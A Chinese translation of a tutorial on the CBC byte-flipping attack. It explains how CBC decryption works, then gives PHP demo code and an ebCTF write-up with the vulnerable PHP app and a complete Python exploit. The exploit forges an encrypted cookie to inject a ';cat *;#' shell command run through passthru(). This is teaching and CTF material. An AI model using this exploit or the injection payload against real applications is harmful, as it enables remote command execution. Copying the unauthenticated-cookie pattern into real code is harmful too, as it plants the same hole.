CBC位元組翻轉攻擊-101Approach

wyzsk發表於2020-08-19
作者: Larry · 2015/08/14 16:36

0x00 譯者前言


本文翻譯自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

drops裡的相關主題文章:使用CBC位元反轉攻擊繞過加密的會話令牌

緣起是糖果出的一道題,看到原文作者對這一問題闡述的較為詳細,雖然時間有些久遠,但翻譯一下可與諸君學習一下思考問題的方法。

0x01 相關介紹


此攻擊方法的精髓在於:透過損壞密文位元組來改變明文位元組。(注:藉助CBC內部的模式)藉由此可以繞過過濾器,或者改變使用者許可權提升至管理員,又或者改變應用程式預期明文以盡猥瑣之事。

首先讓我們看看CBC是如何工作的,(作者很懶所以)更多細節你可以看這裡:wiki

在這裡只是解釋一下關於攻擊必須要理解的部分。(即:一圖勝千言)

加密過程

enter image description here

Plaintext:待加密的資料。

IV:用於隨機化加密的位元塊,保證即使對相同明文多次加密,也可以得到不同的密文。

Key:被一些如AES的對稱加密演算法使用。

Ciphertext:加密後的資料。

在這裡重要的一點是,CBC工作於一個固定長度的位元組,將其稱之為。在本文中,我們將使用包含16位元組的塊。

因為作者討厭高數(和譯者一樣),所以作者造了一些自己的公式(方便記憶):

  • Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用於第一個組塊
  • Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用於第二及剩下的組塊

注意:正如你所見,前一塊的密文用來產生後一塊的密文

Decryption Process

enter image description here

  • Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用於第一個組塊
  • Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用於第二及剩下的組塊

注意:Ciphertext-N-1(密文-N-1)是用來產生下一塊明文;這就是位元組翻轉攻擊開始發揮作用的地方。如果我們改變Ciphertext-N-1(密文-N-1)的一個位元組,然後與下一個解密後的組塊異或,我們就可以得到一個不同的明文了!You got it?別擔心,下面我們將看到一個詳細的例子。與此同時,下面的這張圖也可以很好地說明這種攻擊:

enter image description here

0x02 一個例子(CBC Blocks of 16 bytes)


比方說,我們有這樣的明文序列:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

我們的目標是將“s:6”當中的數字6轉換成數字“7”。我們需要做的第一件事就是把明文分成16個位元組的塊:

  • Block 1:a:2:{s:4:"name";
  • Block 2:s:6:"sdsdsd";s:8
  • Block 3::"greeting";s:20
  • Block 4::"echo 'Hello sd
  • Block 5:sdsd!'";}

因此,我們的目標字元位於塊2,這意味著我們需要改變塊1的密文來改變第二塊的明文。

有一條經驗法則是(注:結合上面的說明圖可以得到),你在密文中改變的位元組,會影響到在下一明文當中,具有相同偏移量的位元組。所以我們目標的偏移量是2:

  • [0] = s
  • 1 = :
  • 2 =6

因此我們要改變在第一個密文塊當中,偏移量是2的位元組。正如你在下面的程式碼當中看到的,在第2行我們得到了整個資料的密文,然後在第3行中,我們改變塊1中偏移量為2的位元組,最後我們再呼叫解密函式。

  1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
  2. $enc = @encrypt($v);
  3. $enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
  4. $b = @decrypt($enc);

執行這段程式碼後,我們可以將數字6變為7:

enter image description here

但是我們在第3行中,是如何改變位元組成為我們想要的值呢?

基於上述的解密過程,我們知道有,A = Decrypt(Ciphertext)B = Ciphertext-N-1異或後最終得到C = 6。等價於:

C = A XOR B

所以,我們唯一不知道的值就是A(注:對於B,C來說)(block cipher decryption);藉由XOR,我們可以很輕易地得到A的值:

A = B XOR C

最後,A XOR B XOR C等於0。有了這個公式,我們可以在XOR運算的末尾處設定我們自己的值,就像這樣:

A XOR B XOR C XOR "7"會在塊2的明文當中,偏移量為2的位元組處得到7。

下面是相關原理實現的PHP原始碼:

#!php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}

define('MY_MAC_LEN', 40);

function encrypt($data) {
    return aes($data, true);
}

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";

0x03 一個練習


光說不練假把式,接下來作者舉了一個他參加過的CTF中的一道題目的例子(更多詳情可以參閱最後的相關參考連結),然後闡述了他是怎樣在最後幾步中打破CBC的。

下面提供了這個練習當中很重要的一部分原始碼:

enter image description here

其中,你在POST提交引數"name"的任何文字值之後,應用程式則會對應輸出"Hello"加上最後提交的文字。但是有兩件事情發生在訊息列印之前:

  1. POST引數"name"值被PHP函式escapeshellarg()過濾(轉換單引號,防止惡意命令注入),然後將其儲存在Array->greeting當中,最後加密該值來產生cookie。
  2. Array->greeting當中的內容被PHP函式passthru()執行。
  3. 最後,在頁面被訪問的任何時間中,如果cookie已經存在,它會被解密,它的內容會透過passthru()函式執行。如前節所述,在這裡CBC攻擊會給我們一個不同的明文。

然後作者構造了一個POST"name"的值來注入字串:

name = 'X' + ';cat *;#a'

首先作者新增了一個字元"X",透過CBC翻轉攻擊將其替換成一個單引號,然後;cat *;命令將被執行,最後的#是用來註釋,確保函式escapeshellarg()插入的單引號不會引起其他問題;因此我們的命令就被成功執行啦。

在計算好之前的密碼塊中,要被改變的位元組的確切偏移量(51)後,作者透過下面的程式碼來注入單引號:

pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

然後作者透過改變cookie(因為其具有全部的密文),得到以下結果:

enter image description here

首先,因為我們改變了第一塊,所以在第二塊中,黃色標記的"X"被成功替換為單引號,它被認為是多餘插入(綠色),導致在unserialize()處理資料時產生一個錯誤(紅色),因此應用程式甚至都沒有去嘗試執行注入了。

如何完善

我們需要使我們的注入資料有效,那麼我們在第一塊中得到的額外資料,就不能在反序列化的過程中造成任何問題(unserialize())。一種方法是在我們的惡意命令中填充字母字元。因此我們嘗試在注入字串前後填充多個'z':

name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16

在傳送上述字串後,unserialize()並沒有報錯,並且我們的shell命令成功執行!!!

0x04 相關參考


  1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
  2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
  3. http://hardc0de.ru/2013/08/04/ebctf-web400/

0x05 附錄程式碼


下面是上面練習當中的PHP原始碼及exp:

PHP code:

#!php
ini_set('display_errors',1);
error_reporting(E_ALL);

define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");

function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
return aes($data . hmac($data), true);
}

function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
echo @decrypt(base64_decode($_COOKIE['settings']));
$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
$settings = array(
'name' => $_POST['name'],
'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
#setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
passthru($settings['greeting']);
else {
echo "</pre>
<form action="\&quot;?\&quot;" method="\&quot;POST\&quot;">\n";
echo "
What is your name?

\n";
echo "<input type="\&quot;text\&quot;" name="\&quot;name\&quot;" />\n";
echo "<input type="\&quot;submit\&quot;" name="\&quot;submit\&quot;" value="\&quot;Submit\&quot;" />\n";
echo "</form>
<pre>
\n";
}
?>

Exploit:

#!python
#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc

url = 'http://192.168.184.133/ebctf/mine.php'

def Test(x):
    t = "echo 'Hello %s!'" % x
    s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
    for i in xrange(0,len(s),16):
        print s[i:i+16]
    print '\n'

def Pwn(s):
    global url
    s = urllib.quote_plus(enc(s))
    req = requests.get(url, cookies = {'settings' : s}).content
 #   if req.find('works') != -1:
    print req
  #  else:
   #     print '[-] FAIL'

def GetCookie(name):
    global url
    d = {
        'name':name,
        'submit':'Submit'
    }
    h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
    if h.has_key('set-cookie'):
        h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
        #h = urllib.unquote_plus(h['set-cookie'][9:])
        #print h
        return h
    else:
        print '[-] ERROR'
        sys.exit(0)

#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting"
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;}

#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"   
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success

#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章